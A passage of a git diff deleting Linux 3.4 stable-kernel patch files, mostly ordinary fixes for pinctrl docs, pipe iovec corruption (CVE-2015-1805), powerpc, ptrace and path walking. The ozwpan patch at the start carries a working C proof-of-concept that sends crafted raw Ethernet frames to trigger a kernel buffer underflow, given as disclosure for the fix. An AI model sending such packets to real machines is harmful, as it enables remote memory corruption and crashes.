u32 uint32_t - #define __packed __attribute__((__packed__)) - #include "ozprotocol.h" - -static int hex2num(char c) -{ - if (c >= '0' && c <= '9') - return c - '0'; - if (c >= 'a' && c <= 'f') - return c - 'a' + 10; - if (c >= 'A' && c <= 'F') - return c - 'A' + 10; - return -1; -} -static int hwaddr_aton(const char *txt, uint8_t *addr) -{ - int i; - for (i = 0; i < 6; i++) { - int a, b; - a = hex2num(*txt++); - if (a < 0) - return -1; - b = hex2num(*txt++); - if (b < 0) - return -1; - *addr++ = (a << 4) | b; - if (i < 5 && *txt++ != ':') - return -1; - } - return 0; -} - -int main(int argc, char *argv[]) -{ - if (argc < 3) { - fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); - return 1; - } - - uint8_t dest_mac[6]; - if (hwaddr_aton(argv[2], dest_mac)) { - fprintf(stderr, "Invalid mac address.\n"); - return 1; - } - - int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); - if (sockfd < 0) { - perror("socket"); - return 1; - } - - struct ifreq if_idx; - int interface_index; - strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); - if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { - perror("SIOCGIFINDEX"); - return 1; - } - interface_index = if_idx.ifr_ifindex; - if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { - perror("SIOCGIFHWADDR"); - return 1; - } - uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; - - struct { - struct ether_header ether_header; - struct oz_hdr oz_hdr; - struct oz_elt oz_elt; - struct oz_elt_connect_req oz_elt_connect_req; - } __packed connect_packet = { - .ether_header = { - .ether_type = htons(OZ_ETHERTYPE), - .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, - .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } - }, - .oz_hdr = { - .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), - .last_pkt_num = 0, - .pkt_num = htole32(0) - }, - .oz_elt = { - .type = OZ_ELT_CONNECT_REQ, - .length = sizeof(struct oz_elt_connect_req) - }, - .oz_elt_connect_req = { - .mode = 0, - .resv1 = {0}, - .pd_info = 0, - .session_id = 0, - .presleep = 35, - .ms_isoc_latency = 0, - .host_vendor = 0, - .keep_alive = 0, - .apps = htole16((1 << OZ_APPID_USB) | 0x1), - .max_len_div16 = 0, - .ms_per_isoc = 0, - .up_audio_buf = 0, - .ms_per_elt = 0 - } - }; - - struct { - struct ether_header ether_header; - struct oz_hdr oz_hdr; - struct oz_elt oz_elt; - struct oz_get_desc_rsp oz_get_desc_rsp; - } __packed pwn_packet = { - .ether_header = { - .ether_type = htons(OZ_ETHERTYPE), - .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, - .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } - }, - .oz_hdr = { - .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), - .last_pkt_num = 0, - .pkt_num = htole32(1) - }, - .oz_elt = { - .type = OZ_ELT_APP_DATA, - .length = sizeof(struct oz_get_desc_rsp) - 2 - }, - .oz_get_desc_rsp = { - .app_id = OZ_APPID_USB, - .elt_seq_num = 0, - .type = OZ_GET_DESC_RSP, - .req_id = 0, - .offset = htole16(0), - .total_size = htole16(0), - .rcode = 0, - .data = {0} - } - }; - - struct sockaddr_ll socket_address = { - .sll_ifindex = interface_index, - .sll_halen = ETH_ALEN, - .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } - }; - - if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { - perror("sendto"); - return 1; - } - usleep(300000); - if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { - perror("sendto"); - return 1; - } - return 0; -} - -Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com> -Acked-by: Dan Carpenter <dan.carpenter@oracle.com> -Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/staging/ozwpan/ozusbsvc1.c | 13 +++++++++---- - 1 file changed, 9 insertions(+), 4 deletions(-) - ---- a/drivers/staging/ozwpan/ozusbsvc1.c -+++ b/drivers/staging/ozwpan/ozusbsvc1.c -@@ -376,10 +376,15 @@ void oz_usb_rx(struct oz_pd *pd, struct - case OZ_GET_DESC_RSP: { - struct oz_get_desc_rsp *body = - (struct oz_get_desc_rsp *)usb_hdr; -- int data_len = elt->length - -- sizeof(struct oz_get_desc_rsp) + 1; -- u16 offs = le16_to_cpu(get_unaligned(&body->offset)); -- u16 total_size = -+ u16 offs, total_size; -+ u8 data_len; -+ -+ if (elt->length < sizeof(struct oz_get_desc_rsp) - 1) -+ break; -+ data_len = elt->length - -+ (sizeof(struct oz_get_desc_rsp) - 1); -+ offs = le16_to_cpu(get_unaligned(&body->offset)); -+ total_size = - le16_to_cpu(get_unaligned(&body->total_size)); - oz_trace("USB_REQ_GET_DESCRIPTOR - cnf\n"); - oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id, diff --git a/patches/pinctrl-fix-example-.get_group_pins-implementation-signature.patch b/patches/pinctrl-fix-example-.get_group_pins-implementation-signature.patch deleted file mode 100644 index 9934b8f..0000000 --- a/patches/pinctrl-fix-example-.get_group_pins-implementation-signature.patch +++ /dev/null @@ -1,32 +0,0 @@ -From 838d030bda9e2da5f9dcf7251f4e117c6258cb2f Mon Sep 17 00:00:00 2001 -From: Baruch Siach <baruch@tkos.co.il> -Date: Mon, 9 Mar 2015 19:20:30 +0200 -Subject: pinctrl: fix example .get_group_pins implementation signature - -commit 838d030bda9e2da5f9dcf7251f4e117c6258cb2f upstream. - -The callback function signature has changed in commit a5818a8bd0 (pinctrl: -get_group_pins() const fixes) - -Fixes: a5818a8bd0 ('pinctrl: get_group_pins() const fixes') -Cc: Stephen Warren <swarren@nvidia.com> -Signed-off-by: Baruch Siach <baruch@tkos.co.il> -Signed-off-by: Linus Walleij <linus.walleij@linaro.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - Documentation/pinctrl.txt | 4 ++-- - 1 file changed, 2 insertions(+), 2 deletions(-) - ---- a/Documentation/pinctrl.txt -+++ b/Documentation/pinctrl.txt -@@ -165,8 +165,8 @@ static const char *foo_get_group_name(st - } - - static int foo_get_group_pins(struct pinctrl_dev *pctldev, unsigned selector, -- unsigned ** const pins, -- unsigned * const num_pins) -+ const unsigned **pins, -+ unsigned *num_pins) - { - *pins = (unsigned *) foo_groups[selector].pins; - *num_pins = foo_groups[selector].num_pins; diff --git a/patches/pinctrl-remove-doc-mention-of-the-enable-disable-api.patch b/patches/pinctrl-remove-doc-mention-of-the-enable-disable-api.patch deleted file mode 100644 index e73dd75..0000000 --- a/patches/pinctrl-remove-doc-mention-of-the-enable-disable-api.patch +++ /dev/null @@ -1,42 +0,0 @@ -From b18104c00089c73f2b70790765d40424a4f9b65f Mon Sep 17 00:00:00 2001 -From: Baruch Siach <baruch@tkos.co.il> -Date: Sun, 8 Mar 2015 10:51:46 +0200 -Subject: pinctrl: remove doc mention of the enable/disable API - -commit b18104c00089c73f2b70790765d40424a4f9b65f upstream. - -This API has changed in commit 6e5e959dde0 (pinctrl: API changes to support -multiple states per device). - -Fixes: 6e5e959dde0 ('pinctrl: API changes to support multiple states per device') -Cc: Stephen Warren <swarren@nvidia.com> -Signed-off-by: Baruch Siach <baruch@tkos.co.il> -Signed-off-by: Linus Walleij <linus.walleij@linaro.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - Documentation/pinctrl.txt | 7 ++++--- - 1 file changed, 4 insertions(+), 3 deletions(-) - ---- a/Documentation/pinctrl.txt -+++ b/Documentation/pinctrl.txt -@@ -1042,7 +1042,7 @@ The semantics of the pinctrl APIs are: - - Usually the pin control core handled the get/put pair and call out to the - device drivers bookkeeping operations, like checking available functions and --the associated pins, whereas the enable/disable pass on to the pin controller -+the associated pins, whereas select_state pass on to the pin controller - driver which takes care of activating and/or deactivating the mux setting by - quickly poking some registers. - -@@ -1088,8 +1088,9 @@ function, but with different named in th - "Advanced mapping" above. So that for an SPI device, we have two states named - "pos-A" and "pos-B". - --This snippet first muxes the function in the pins defined by group A, enables --it, disables and releases it, and muxes it in on the pins defined by group B: -+This snippet first initializes a state object for both groups (in foo_probe()), -+then muxes the function in the pins defined by group A, and finally muxes it in -+on the pins defined by group B: - - #include <linux/pinctrl/consumer.h> - diff --git a/patches/pinctrl-remove-maxpin-from-documentation.patch b/patches/pinctrl-remove-maxpin-from-documentation.patch deleted file mode 100644 index f647ce1..0000000 --- a/patches/pinctrl-remove-maxpin-from-documentation.patch +++ /dev/null @@ -1,28 +0,0 @@ -From 939417bd8b909ae34a3b2106531594f5115eaea5 Mon Sep 17 00:00:00 2001 -From: Baruch Siach <baruch@tkos.co.il> -Date: Mon, 2 Mar 2015 16:55:02 +0200 -Subject: pinctrl: remove maxpin from documentation - -commit 939417bd8b909ae34a3b2106531594f5115eaea5 upstream. - -struct pinctrl_desc does not contain the maxpin member since commit 0d2006bbf0 -(pinctrl: remove unnecessary max pin number). - -Fixes: 0d2006bbf0 ('pinctrl: remove unnecessary max pin number') -Signed-off-by: Baruch Siach <baruch@tkos.co.il> -Signed-off-by: Linus Walleij <linus.walleij@linaro.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - Documentation/pinctrl.txt | 1 - - 1 file changed, 1 deletion(-) - ---- a/Documentation/pinctrl.txt -+++ b/Documentation/pinctrl.txt -@@ -72,7 +72,6 @@ static struct pinctrl_desc foo_desc = { - .name = "foo", - .pins = foo_pins, - .npins = ARRAY_SIZE(foo_pins), -- .maxpin = 63, - .owner = THIS_MODULE, - }; - diff --git a/patches/pipe-iovec-fix-memory-corruption-when-retrying-atomic-copy-as-non-atomic.patch b/patches/pipe-iovec-fix-memory-corruption-when-retrying-atomic-copy-as-non-atomic.patch deleted file mode 100644 index ca39dd0..0000000 --- a/patches/pipe-iovec-fix-memory-corruption-when-retrying-atomic-copy-as-non-atomic.patch +++ /dev/null @@ -1,178 +0,0 @@ -From: Ben Hutchings <ben@decadent.org.uk> -Date: Mon, 15 Jun 2015 03:51:55 +0100 -Subject: pipe: iovec: Fix memory corruption when retrying atomic copy as non-atomic - -pipe_iov_copy_{from,to}_user() may be tried twice with the same iovec, -the first time atomically and the second time not. The second attempt -needs to continue from the iovec position, pipe buffer offset and -remaining length where the first attempt failed, but currently the -pipe buffer offset and remaining length are reset. This will corrupt -the piped data (possibly also leading to an information leak between -processes) and may also corrupt kernel memory. - -This was fixed upstream by commits f0d1bec9d58d ("new helper: -copy_page_from_iter()") and 637b58c2887e ("switch pipe_read() to -copy_page_to_iter()"), but those aren't suitable for stable. This fix -for older kernel versions was made by Seth Jennings for RHEL and I -have extracted it from their update. - -CVE-2015-1805 - -References: https://bugzilla.redhat.com/show_bug.cgi?id=1202855 -Signed-off-by: Ben Hutchings <ben@decadent.org.uk> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/pipe.c | 55 ++++++++++++++++++++++++++++++++----------------------- - 1 file changed, 32 insertions(+), 23 deletions(-) - ---- a/fs/pipe.c -+++ b/fs/pipe.c -@@ -104,25 +104,27 @@ void pipe_wait(struct pipe_inode_info *p - } - - static int --pipe_iov_copy_from_user(void *to, struct iovec *iov, unsigned long len, -- int atomic) -+pipe_iov_copy_from_user(void *addr, int *offset, struct iovec *iov, -+ size_t *remaining, int atomic) - { - unsigned long copy; - -- while (len > 0) { -+ while (*remaining > 0) { - while (!iov->iov_len) - iov++; -- copy = min_t(unsigned long, len, iov->iov_len); -+ copy = min_t(unsigned long, *remaining, iov->iov_len); - - if (atomic) { -- if (__copy_from_user_inatomic(to, iov->iov_base, copy)) -+ if (__copy_from_user_inatomic(addr + *offset, -+ iov->iov_base, copy)) - return -EFAULT; - } else { -- if (copy_from_user(to, iov->iov_base, copy)) -+ if (copy_from_user(addr + *offset, -+ iov->iov_base, copy)) - return -EFAULT; - } -- to += copy; -- len -= copy; -+ *offset += copy; -+ *remaining -= copy; - iov->iov_base += copy; - iov->iov_len -= copy; - } -@@ -130,25 +132,27 @@ pipe_iov_copy_from_user(void *to, struct - } - - static int --pipe_iov_copy_to_user(struct iovec *iov, const void *from, unsigned long len, -- int atomic) -+pipe_iov_copy_to_user(struct iovec *iov, void *addr, int *offset, -+ size_t *remaining, int atomic) - { - unsigned long copy; - -- while (len > 0) { -+ while (*remaining > 0) { - while (!iov->iov_len) - iov++; -- copy = min_t(unsigned long, len, iov->iov_len); -+ copy = min_t(unsigned long, *remaining, iov->iov_len); - - if (atomic) { -- if (__copy_to_user_inatomic(iov->iov_base, from, copy)) -+ if (__copy_to_user_inatomic(iov->iov_base, -+ addr + *offset, copy)) - return -EFAULT; - } else { -- if (copy_to_user(iov->iov_base, from, copy)) -+ if (copy_to_user(iov->iov_base, -+ addr + *offset, copy)) - return -EFAULT; - } -- from += copy; -- len -= copy; -+ *offset += copy; -+ *remaining -= copy; - iov->iov_base += copy; - iov->iov_len -= copy; - } -@@ -384,7 +388,7 @@ pipe_read(struct kiocb *iocb, const stru - struct pipe_buffer *buf = pipe->bufs + curbuf; - const struct pipe_buf_operations *ops = buf->ops; - void *addr; -- size_t chars = buf->len; -+ size_t chars = buf->len, remaining; - int error, atomic; - - if (chars > total_len) -@@ -398,9 +402,11 @@ pipe_read(struct kiocb *iocb, const stru - } - - atomic = !iov_fault_in_pages_write(iov, chars); -+ remaining = chars; - redo: - addr = ops->map(pipe, buf, atomic); -- error = pipe_iov_copy_to_user(iov, addr + buf->offset, chars, atomic); -+ error = pipe_iov_copy_to_user(iov, addr, &buf->offset, -+ &remaining, atomic); - ops->unmap(pipe, buf, addr); - if (unlikely(error)) { - /* -@@ -415,7 +421,6 @@ redo: - break; - } - ret += chars; -- buf->offset += chars; - buf->len -= chars; - - /* Was it a packet buffer? Clean up and exit */ -@@ -522,6 +527,7 @@ pipe_write(struct kiocb *iocb, const str - if (ops->can_merge && offset + chars <= PAGE_SIZE) { - int error, atomic = 1; - void *addr; -+ size_t remaining = chars; - - error = ops->confirm(pipe, buf); - if (error) -@@ -530,8 +536,8 @@ pipe_write(struct kiocb *iocb, const str - iov_fault_in_pages_read(iov, chars); - redo1: - addr = ops->map(pipe, buf, atomic); -- error = pipe_iov_copy_from_user(offset + addr, iov, -- chars, atomic); -+ error = pipe_iov_copy_from_user(addr, &offset, iov, -+ &remaining, atomic); - ops->unmap(pipe, buf, addr); - ret = error; - do_wakeup = 1; -@@ -566,6 +572,8 @@ redo1: - struct page *page = pipe->tmp_page; - char *src; - int error, atomic = 1; -+ int offset = 0; -+ size_t remaining; - - if (!page) { - page = alloc_page(GFP_HIGHUSER); -@@ -586,14 +594,15 @@ redo1: - chars = total_len; - - iov_fault_in_pages_read(iov, chars); -+ remaining = chars; - redo2: - if (atomic) - src = kmap_atomic(page); - else - src = kmap(page); - -- error = pipe_iov_copy_from_user(src, iov, chars, -- atomic); -+ error = pipe_iov_copy_from_user(src, &offset, iov, -+ &remaining, atomic); - if (atomic) - kunmap_atomic(src); - else diff --git a/patches/powerpc-align-toc-to-256-bytes.patch b/patches/powerpc-align-toc-to-256-bytes.patch deleted file mode 100644 index 9aadea5..0000000 --- a/patches/powerpc-align-toc-to-256-bytes.patch +++ /dev/null @@ -1,31 +0,0 @@ -From 5e95235ccd5442d4a4fe11ec4eb99ba1b7959368 Mon Sep 17 00:00:00 2001 -From: Anton Blanchard <anton@samba.org> -Date: Thu, 14 May 2015 14:45:40 +1000 -Subject: powerpc: Align TOC to 256 bytes - -commit 5e95235ccd5442d4a4fe11ec4eb99ba1b7959368 upstream. - -Recent toolchains force the TOC to be 256 byte aligned. We need -to enforce this alignment in our linker script, otherwise pointers -to our TOC variables (__toc_start, __prom_init_toc_start) could -be incorrect. - -If they are bad, we die a few hundred instructions into boot. - -Signed-off-by: Anton Blanchard <anton@samba.org> -Signed-off-by: Michael Ellerman <mpe@ellerman.id.au> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/powerpc/kernel/vmlinux.lds.S | 1 + - 1 file changed, 1 insertion(+) - ---- a/arch/powerpc/kernel/vmlinux.lds.S -+++ b/arch/powerpc/kernel/vmlinux.lds.S -@@ -213,6 +213,7 @@ SECTIONS - *(.opd) - } - -+ . = ALIGN(256); - .got : AT(ADDR(.got) - LOAD_OFFSET) { - __toc_start = .; - *(.got) diff --git a/patches/powerpc-fix-missing-l2-cache-size-in-sys-devices-system-cpu.patch b/patches/powerpc-fix-missing-l2-cache-size-in-sys-devices-system-cpu.patch deleted file mode 100644 index 77ecc15..0000000 --- a/patches/powerpc-fix-missing-l2-cache-size-in-sys-devices-system-cpu.patch +++ /dev/null @@ -1,99 +0,0 @@ -From f7e9e358362557c3aa2c1ec47490f29fe880a09e Mon Sep 17 00:00:00 2001 -From: Dave Olson <olson@cumulusnetworks.com> -Date: Thu, 2 Apr 2015 21:28:45 -0700 -Subject: powerpc: Fix missing L2 cache size in /sys/devices/system/cpu - -commit f7e9e358362557c3aa2c1ec47490f29fe880a09e upstream. - -This problem appears to have been introduced in 2.6.29 by commit -93197a36a9c1 "Rewrite sysfs processor cache info code". - -This caused lscpu to error out on at least e500v2 devices, eg: - - error: cannot open /sys/devices/system/cpu/cpu0/cache/index2/size: No such file or directory - -Some embedded powerpc systems use cache-size in DTS for the unified L2 -cache size, not d-cache-size, so we need to allow for both DTS names. -Added a new CACHE_TYPE_UNIFIED_D cache_type_info structure to handle -this. - -Fixes: 93197a36a9c1 ("powerpc: Rewrite sysfs processor cache info code") -Signed-off-by: Dave Olson <olson@cumulusnetworks.com> -Signed-off-by: Michael Ellerman <mpe@ellerman.id.au> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/powerpc/kernel/cacheinfo.c | 41 +++++++++++++++++++++++++++++++--------- - 1 file changed, 32 insertions(+), 9 deletions(-) - ---- a/arch/powerpc/kernel/cacheinfo.c -+++ b/arch/powerpc/kernel/cacheinfo.c -@@ -62,12 +62,22 @@ struct cache_type_info { - }; - - /* These are used to index the cache_type_info array. */ --#define CACHE_TYPE_UNIFIED 0 --#define CACHE_TYPE_INSTRUCTION 1 --#define CACHE_TYPE_DATA 2 -+#define CACHE_TYPE_UNIFIED 0 /* cache-size, cache-block-size, etc. */ -+#define CACHE_TYPE_UNIFIED_D 1 /* d-cache-size, d-cache-block-size, etc */ -+#define CACHE_TYPE_INSTRUCTION 2 -+#define CACHE_TYPE_DATA 3 - - static const struct cache_type_info cache_type_info[] = { - { -+ /* Embedded systems that use cache-size, cache-block-size, -+ * etc. for the Unified (typically L2) cache. */ -+ .name = "Unified", -+ .size_prop = "cache-size", -+ .line_size_props = { "cache-line-size", -+ "cache-block-size", }, -+ .nr_sets_prop = "cache-sets", -+ }, -+ { - /* PowerPC Processor binding says the [di]-cache-* - * must be equal on unified caches, so just use - * d-cache properties. */ -@@ -293,7 +303,8 @@ static struct cache *cache_find_first_si - { - struct cache *iter; - -- if (cache->type == CACHE_TYPE_UNIFIED) -+ if (cache->type == CACHE_TYPE_UNIFIED || -+ cache->type == CACHE_TYPE_UNIFIED_D) - return cache; - - list_for_each_entry(iter, &cache_list, list) -@@ -324,15 +335,27 @@ static bool cache_node_is_unified(const - return of_get_property(np, "cache-unified", NULL); - } - --static struct cache *__cpuinit cache_do_one_devnode_unified(struct device_node *node, int level) -+/* -+ * Unified caches can have two different sets of tags. Most embedded -+ * use cache-size, etc. for the unified cache size, but open firmware systems -+ * use d-cache-size, etc. Check on initialization for which type we have, and -+ * return the appropriate structure type. Assume it's embedded if it isn't -+ * open firmware. If it's yet a 3rd type, then there will be missing entries -+ * in /sys/devices/system/cpu/cpu0/cache/index2/, and this code will need -+ * to be extended further. -+ */ -+static int cache_is_unified_d(const struct device_node *np) - { -- struct cache *cache; -+ return of_get_property(np, -+ cache_type_info[CACHE_TYPE_UNIFIED_D].size_prop, NULL) ? -+ CACHE_TYPE_UNIFIED_D : CACHE_TYPE_UNIFIED; -+} - -+static struct cache *__cpuinit cache_do_one_devnode_unified(struct device_node *node, int level) -+{ - pr_debug("creating L%d ucache for %s\n", level, node->full_name); - -- cache = new_cache(CACHE_TYPE_UNIFIED, level, node); -- -- return cache; -+ return new_cache(cache_is_unified_d(node), level, node); - } - - static struct cache *__cpuinit cache_do_one_devnode_split(struct device_node *node, int level) diff --git a/patches/powerpc-perf-cap-64bit-userspace-backtraces-to-perf_max_stack_depth.patch b/patches/powerpc-perf-cap-64bit-userspace-backtraces-to-perf_max_stack_depth.patch deleted file mode 100644 index 41f2dfa..0000000 --- a/patches/powerpc-perf-cap-64bit-userspace-backtraces-to-perf_max_stack_depth.patch +++ /dev/null @@ -1,28 +0,0 @@ -From 9a5cbce421a283e6aea3c4007f141735bf9da8c3 Mon Sep 17 00:00:00 2001 -From: Anton Blanchard <anton@samba.org> -Date: Tue, 14 Apr 2015 07:51:03 +1000 -Subject: powerpc/perf: Cap 64bit userspace backtraces to PERF_MAX_STACK_DEPTH - -commit 9a5cbce421a283e6aea3c4007f141735bf9da8c3 upstream. - -We cap 32bit userspace backtraces to PERF_MAX_STACK_DEPTH -(currently 127), but we forgot to do the same for 64bit backtraces. - -Signed-off-by: Anton Blanchard <anton@samba.org> -Signed-off-by: Michael Ellerman <mpe@ellerman.id.au> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/powerpc/perf/callchain.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/arch/powerpc/perf/callchain.c -+++ b/arch/powerpc/perf/callchain.c -@@ -243,7 +243,7 @@ static void perf_callchain_user_64(struc - sp = regs->gpr[1]; - perf_callchain_store(entry, next_ip); - -- for (;;) { -+ while (entry->nr < PERF_MAX_STACK_DEPTH) { - fp = (unsigned long __user *) sp; - if (!valid_user_sp(sp, 1) || read_user_stack_64(fp, &next_sp)) - return; diff --git a/patches/powerpc-pseries-correct-cpu-affinity-for-dlpar-added-cpus.patch b/patches/powerpc-pseries-correct-cpu-affinity-for-dlpar-added-cpus.patch deleted file mode 100644 index 263d839..0000000 --- a/patches/powerpc-pseries-correct-cpu-affinity-for-dlpar-added-cpus.patch +++ /dev/null @@ -1,61 +0,0 @@ -From f32393c943e297b8ae180c8f83d81a156c7d0412 Mon Sep 17 00:00:00 2001 -From: Nathan Fontenot <nfont@linux.vnet.ibm.com> -Date: Wed, 29 Apr 2015 20:42:06 -0500 -Subject: powerpc/pseries: Correct cpu affinity for dlpar added cpus - -commit f32393c943e297b8ae180c8f83d81a156c7d0412 upstream. - -The incorrect ordering of operations during cpu dlpar add results in invalid -affinity for the cpu being added. The ibm,associativity property in the -device tree is populated with all zeroes for the added cpu which results in -invalid affinity mappings and all cpus appear to belong to node 0. - -This occurs because rtas configure-connector is called prior to making the -rtas set-indicator calls. Phyp does not assign affinity information -for a cpu until the rtas set-indicator calls are made to set the isolation -and allocation state. - -Correct the order of operations to make the rtas set-indicator -calls (done in dlpar_acquire_drc) before calling rtas configure-connector. - -Fixes: 1a8061c46c46 ("powerpc/pseries: Add kernel based CPU DLPAR handling") - -Signed-off-by: Nathan Fontenot <nfont@linux.vnet.ibm.com> -Signed-off-by: Michael Ellerman <mpe@ellerman.id.au> -[lizf: Backported to 3.4: - - adjust context - - jump to the "out" lable instead of returning -EINVAL] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/powerpc/platforms/pseries/dlpar.c | 13 ++++++------- - 1 file changed, 6 insertions(+), 7 deletions(-) - ---- a/arch/powerpc/platforms/pseries/dlpar.c -+++ b/arch/powerpc/platforms/pseries/dlpar.c -@@ -416,6 +416,12 @@ static ssize_t dlpar_cpu_probe(const cha - goto out; - } - -+ rc = dlpar_acquire_drc(drc_index); -+ if (rc) { -+ rc = -EINVAL; -+ goto out; -+ } -+ - dn = dlpar_configure_connector(drc_index); - if (!dn) { - rc = -EINVAL; -@@ -436,13 +442,6 @@ static ssize_t dlpar_cpu_probe(const cha - kfree(dn->full_name); - dn->full_name = cpu_name; - -- rc = dlpar_acquire_drc(drc_index); -- if (rc) { -- dlpar_free_cc_nodes(dn); -- rc = -EINVAL; -- goto out; -- } -- - rc = dlpar_attach_node(dn); - if (rc) { - dlpar_release_drc(drc_index); diff --git a/patches/ptrace-fix-race-between-ptrace_resume-and-wait_task_stopped.patch b/patches/ptrace-fix-race-between-ptrace_resume-and-wait_task_stopped.patch deleted file mode 100644 index a67c79e..0000000 --- a/patches/ptrace-fix-race-between-ptrace_resume-and-wait_task_stopped.patch +++ /dev/null @@ -1,112 +0,0 @@ -From b72c186999e689cb0b055ab1c7b3cd8fffbeb5ed Mon Sep 17 00:00:00 2001 -From: Oleg Nesterov <oleg@redhat.com> -Date: Thu, 16 Apr 2015 12:47:29 -0700 -Subject: ptrace: fix race between ptrace_resume() and wait_task_stopped() - -commit b72c186999e689cb0b055ab1c7b3cd8fffbeb5ed upstream. - -ptrace_resume() is called when the tracee is still __TASK_TRACED. We set -tracee->exit_code and then wake_up_state() changes tracee->state. If the -tracer's sub-thread does wait() in between, task_stopped_code(ptrace => T) -wrongly looks like another report from tracee. - -This confuses debugger, and since wait_task_stopped() clears ->exit_code -the tracee can miss a signal. - -Test-case: - - #include <stdio.h> - #include <unistd.h> - #include <sys/wait.h> - #include <sys/ptrace.h> - #include <pthread.h> - #include <assert.h> - - int pid; - - void *waiter(void *arg) - { - int stat; - - for (;;) { - assert(pid == wait(&stat)); - assert(WIFSTOPPED(stat)); - if (WSTOPSIG(stat) == SIGHUP) - continue; - - assert(WSTOPSIG(stat) == SIGCONT); - printf("ERR! extra/wrong report:%x\n", stat); - } - } - - int main(void) - { - pthread_t thread; - - pid = fork(); - if (!pid) { - assert(ptrace(PTRACE_TRACEME, 0,0,0) == 0); - for (;;) - kill(getpid(), SIGHUP); - } - - assert(pthread_create(&thread, NULL, waiter, NULL) == 0); - - for (;;) - ptrace(PTRACE_CONT, pid, 0, SIGCONT); - - return 0; - } - -Note for stable: the bug is very old, but without 9899d11f6544 "ptrace: -ensure arch_ptrace/ptrace_request can never race with SIGKILL" the fix -should use lock_task_sighand(child). - -Signed-off-by: Oleg Nesterov <oleg@redhat.com> -Reported-by: Pavel Labath <labath@google.com> -Tested-by: Pavel Labath <labath@google.com> -Signed-off-by: Andrew Morton <akpm@linux-foundation.org> -Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - kernel/ptrace.c | 20 ++++++++++++++++++++ - 1 file changed, 20 insertions(+) - ---- a/kernel/ptrace.c -+++ b/kernel/ptrace.c -@@ -632,6 +632,8 @@ static int ptrace_setsiginfo(struct task - static int ptrace_resume(struct task_struct *child, long request, - unsigned long data) - { -+ bool need_siglock; -+ - if (!valid_signal(data)) - return -EIO; - -@@ -659,8 +661,26 @@ static int ptrace_resume(struct task_str - user_disable_single_step(child); - } - -+ /* -+ * Change ->exit_code and ->state under siglock to avoid the race -+ * with wait_task_stopped() in between; a non-zero ->exit_code will -+ * wrongly look like another report from tracee. -+ * -+ * Note that we need siglock even if ->exit_code == data and/or this -+ * status was not reported yet, the new status must not be cleared by -+ * wait_task_stopped() after resume. -+ * -+ * If data == 0 we do not care if wait_task_stopped() reports the old -+ * status and clears the code too; this can't race with the tracee, it -+ * takes siglock after resume. -+ */ -+ need_siglock = data && !thread_group_empty(current); -+ if (need_siglock) -+ spin_lock_irq(&child->sighand->siglock); - child->exit_code = data; - wake_up_state(child, __TASK_TRACED); -+ if (need_siglock) -+ spin_unlock_irq(&child->sighand->siglock); - - return 0; - } diff --git a/patches/rcu-pathwalk-breakage-when-running-into-a-symlink-overmounting-something.patch b/patches/rcu-pathwalk-breakage-when-running-into-a-symlink-overmounting-something.patch deleted file mode 100644 index dbfeed6..0000000 --- a/patches/rcu-pathwalk-breakage-when-running-into-a-symlink-overmounting-something.patch +++ /dev/null @@ -1,34 +0,0 @@ -From 3cab989afd8d8d1bc3d99fef0e7ed87c31e7b647 Mon Sep 17 00:00:00 2001 -From: Al Viro <viro@zeniv.linux.org.uk> -Date: Fri, 24 Apr 2015 15:47:07 -0400 -Subject: RCU pathwalk breakage when running into a symlink overmounting - something - -commit 3cab989afd8d8d1bc3d99fef0e7ed87c31e7b647 upstream. - -Calling unlazy_walk() in walk_component() and do_last() when we find -a symlink that needs to be followed doesn't acquire a reference to vfsmount. -That's fine when the symlink is on the same vfsmount as the parent directory -(which is almost always the case), but it's not always true - one _can_ -manage to bind a symlink on top of something. And in such cases we end up -with excessive mntput(). - -Signed-off-by: Al Viro <viro@zeniv.linux.org.uk> -[lizf: Backported to 3.4: drop the changes to do_last()] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - fs/namei.c | 3 ++- - 1 file changed, 2 insertions(+), 1 deletion(-) - ---- a/fs/namei.c -+++ b/fs/namei.c -@@ -1314,7 +1314,8 @@ static inline int walk_component(struct - } - if (should_follow_link(inode, follow)) { - if (nd->flags & LOOKUP_RCU) { -- if (unlikely(unlazy_walk(nd, path->dentry))) { -+ if (unlikely(nd->path.mnt != path->mnt || -+ unlazy_walk(nd, path->dentry))) { - terminate_walk(nd); - return -ECHILD; - } diff --git 